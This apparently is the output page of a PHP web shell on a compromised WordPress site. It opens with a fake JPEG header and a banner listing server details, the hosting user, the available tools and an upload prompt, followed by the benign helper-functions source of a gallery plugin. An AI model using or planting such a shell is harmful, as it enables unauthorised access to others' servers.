????JFIF??x?x????'
Server IP : 104.21.48.1 / Your IP : 216.73.216.145 Web Server : LiteSpeed System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64 User : tempvsty ( 647) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/tempvsty/pontiacques.org/wp-content/plugins/robo-gallery/cmbre2/includes/ |
Upload File : |
<?php /** * CMBRE2 Helper Functions * * @category WordPress_Plugin * @package CMBRE2 * @author WebDevStudios * @license GPL-2.0+ * @link http://webdevstudios.com */ /** * Helper function to provide directory path to CMBRE2 * @since 2.0.0 * @param string $path Path to append * @return string Directory with optional path appended */ if ( ! defined( 'WPINC' ) ) exit; if( !function_exists('cmbre2_dir')){ function cmbre2_dir( $path = '' ) { return CMBRE2_DIR . $path; } } /** * Autoloads files with CMBRE2 classes when needed * @since 1.0.0 * @param string $class_name Name of the class being requested */ function cmbre2_autoload_classes( $class_name ) { if ( 0 !== strpos( $class_name, 'CMBRE2' ) && 0 !== strpos( $class_name, 'CMBRE2' ) ) { return; } include_once( cmbre2_dir( "includes/{$class_name}.php" ) ); } /** * Get instance of the CMBRE2_Utils class * @since 2.0.0 * @return CMBRE2_Utils object CMBRE2 utilities class */ function cmbre2_utils() { static $cmbre2_utils; $cmbre2_utils = $cmbre2_utils ? $cmbre2_utils : new CMBRE2_Utils(); return $cmbre2_utils; } /** * Get instance of the CMBRE2_Ajax class * @since 2.0.0 * @return CMBRE2_Ajax object CMBRE2 utilities class */ function cmbre2_ajax() { static $cmbre2_ajax; $cmbre2_ajax = $cmbre2_ajax ? $cmbre2_ajax : new CMBRE2_Ajax(); return $cmbre2_ajax; } /** * Get instance of the CMBRE2_Option class for the passed metabox ID * @since 2.0.0 * @return CMBRE2_Option object Options class for setting/getting options for metabox */ function cmbre2_options( $key ) { return CMBRE2_Options::get( $key ); } /** * Get a cmb oEmbed. Handles oEmbed getting for non-post objects * @since 2.0.0 * @param array $args Arguments. Accepts: * * 'url' - URL to retrieve the oEmbed from, * 'object_id' - $post_id, * 'object_type' - 'post', * 'oembed_args' - $embed_args, // array containing 'width', etc * 'field_id' - false, * 'cache_key' - false, * * @return string oEmbed string */ function cmbre2_get_oembed( $args = array() ) { return cmbre2_ajax()->get_oembed( $args ); } /** * A helper function to get an option from a CMBRE2 options array * @since 1.0.1 * @param string $option_key Option key * @param string $field_id Option array field key * @return array Options array or specific field */ function cmbre2_get_option( $option_key, $field_id = '' ) { return cmbre2_options( $option_key )->get( $field_id ); } /** * A helper function to update an option in a CMBRE2 options array * @since 2.0.0 * @param string $option_key Option key * @param string $field_id Option array field key * @param mixed $value Value to update data with * @param boolean $single Whether data should not be an array * @return boolean Success/Failure */ function cmbre2_update_option( $option_key, $field_id, $value, $single = true ) { if ( cmbre2_options( $option_key )->update( $field_id, $value, false, $single ) ) { return cmbre2_options( $option_key )->set(); } return false; } /** * Get a CMBRE2 field object. * @since 1.1.0 * @param array $meta_box Metabox ID or Metabox config array * @param array $field_id Field ID or all field arguments * @param int $object_id Object ID * @param string $object_type Type of object being saved. (e.g., post, user, comment, or options-page). * Defaults to metabox object type. * @return CMBRE2_Field|null CMBRE2_Field object unless metabox config cannot be found */ function cmbre2_get_field( $meta_box, $field_id, $object_id = 0, $object_type = '' ) { $object_id = $object_id ? $object_id : get_the_ID(); $cmb = $meta_box instanceof CMBRE2 ? $meta_box : cmbre2_get_metabox( $meta_box, $object_id ); if ( ! $cmb ) { return; } $cmb->object_type( $object_type ? $object_type : $cmb->mb_object_type() ); return $cmb->get_field( $field_id ); } /** * Get a field's value. * @since 1.1.0 * @param array $meta_box Metabox ID or Metabox config array * @param array $field_id Field ID or all field arguments * @param int $object_id Object ID * @param string $object_type Type of object being saved. (e.g., post, user, comment, or options-page). * Defaults to metabox object type. * @return mixed Maybe escaped value */ function cmbre2_get_field_value( $meta_box, $field_id, $object_id = 0, $object_type = '' ) { $field = cmbre2_get_field( $meta_box, $field_id, $object_id, $object_type ); return $field->escaped_value(); } /** * Because OOP can be scary * @since 2.0.2 * @param array $meta_box_config Metabox Config array * @return CMBRE2 object Instantiated CMBRE2 object */ function new_cmbre2_box( array $meta_box_config ) { return cmbre2_get_metabox( $meta_box_config ); } if(!function_exists("new_cmb2_box")){ /* TODO fix legacy mode */ function new_cmb2_box( array $meta_box_config ) { return cmbre2_get_metabox( $meta_box_config ); } } /** * Retrieve a CMBRE2 instance by the metabox ID * @since 2.0.0 * @param mixed $meta_box Metabox ID or Metabox config array * @param int $object_id Object ID * @param string $object_type Type of object being saved. (e.g., post, user, comment, or options-page). * Defaults to metabox object type. * @return CMBRE2 object */ function cmbre2_get_metabox( $meta_box, $object_id = 0, $object_type = '' ) { if ( $meta_box instanceof CMBRE2 ) { return $meta_box; } if ( is_string( $meta_box ) ) { $cmb = CMBRE2_Boxes::get( $meta_box ); } else { // See if we already have an instance of this metabox $cmb = CMBRE2_Boxes::get( $meta_box['id'] ); // If not, we'll initate a new metabox $cmb = $cmb ? $cmb : new CMBRE2( $meta_box, $object_id ); } if ( $cmb && $object_id ) { $cmb->object_id( $object_id ); } if ( $cmb && $object_type ) { $cmb->object_type( $object_type ); } return $cmb; } /** * Returns array of sanitized field values from a metabox (without saving them) * @since 2.0.3 * @param mixed $meta_box Metabox ID or Metabox config array * @param array $data_to_sanitize Array of field_id => value data for sanitizing (likely $_POST data). * @return mixed Array of sanitized values or false if no CMBRE2 object found */ function cmbre2_get_metabox_sanitized_values( $meta_box, array $data_to_sanitize ) { $cmb = cmbre2_get_metabox( $meta_box ); return $cmb ? $cmb->get_sanitized_values( $data_to_sanitize ) : false; } /** * Retrieve a metabox form * @since 2.0.0 * @param mixed $meta_box Metabox config array or Metabox ID * @param int $object_id Object ID * @param array $args Optional arguments array * @return string CMBRE2 html form markup */ function cmbre2_get_metabox_form( $meta_box, $object_id = 0, $args = array() ) { $object_id = $object_id ? $object_id : get_the_ID(); $cmb = cmbre2_get_metabox( $meta_box, $object_id ); ob_start(); // Get cmb form cmbre2_print_metabox_form( $cmb, $object_id, $args ); $form = ob_get_contents(); ob_end_clean(); return apply_filters( 'cmbre2_get_metabox_form', $form, $object_id, $cmb ); } /** * Display a metabox form & save it on submission * @since 1.0.0 * @param mixed $meta_box Metabox config array or Metabox ID * @param int $object_id Object ID * @param array $args Optional arguments array */ function cmbre2_print_metabox_form( $meta_box, $object_id = 0, $args = array() ) { $object_id = $object_id ? $object_id : get_the_ID(); $cmb = cmbre2_get_metabox( $meta_box, $object_id ); // if passing a metabox ID, and that ID was not found if ( ! $cmb ) { return; } $args = wp_parse_args( $args, array( 'form_format' => '<form class="cmb-form" method="post" id="%1$s" enctype="multipart/form-data" encoding="multipart/form-data"><input type="hidden" name="object_id" value="%2$s">%3$s<input type="submit" name="submit-cmb" value="%4$s" class="button-primary"></form>', 'save_button' => 'Save', 'object_type' => $cmb->mb_object_type(), 'enqueue_js' => true, ) ); // Set object type explicitly (rather than trying to guess from context) $cmb->object_type( $args['object_type'] ); // Save the metabox if it's been submitted // check permissions // @todo more hardening? if ( $cmb->prop( 'save_fields' ) // check nonce && isset( $_POST['submit-cmb'], $_POST['object_id'], $_POST[ $cmb->nonce() ] ) && wp_verify_nonce( $_POST[ $cmb->nonce() ], $cmb->nonce() ) && $object_id && $_POST['object_id'] == $object_id ) { $cmb->save_fields( $object_id, $cmb->object_type(), $_POST ); } // Enqueue JS/CSS if ( $cmb->prop( 'cmb_styles' ) ) { CMBRE2_hookup::enqueue_cmb_css(); } if ( $args['enqueue_js'] ) { CMBRE2_hookup::enqueue_cmb_js(); } $form_format = apply_filters( 'cmbre2_get_metabox_form_format', $args['form_format'], $object_id, $cmb ); $format_parts = explode( '%3$s', $form_format ); // Show cmb form printf( $format_parts[0], $cmb->cmb_id, $object_id ); $cmb->show_form(); if ( isset( $format_parts[1] ) && $format_parts[1] ) { printf( str_ireplace( '%4$s', '%1$s', $format_parts[1] ), $args['save_button'] ); } } /** * Display a metabox form (or optionally return it) & save it on submission * @since 1.0.0 * @param mixed $meta_box Metabox config array or Metabox ID * @param int $object_id Object ID * @param array $args Optional arguments array */ function cmbre2_metabox_form( $meta_box, $object_id = 0, $args = array() ) { if ( ! isset( $args['echo'] ) || $args['echo'] ) { cmbre2_print_metabox_form( $meta_box, $object_id, $args ); } else { return cmbre2_get_metabox_form( $meta_box, $object_id, $args ); } }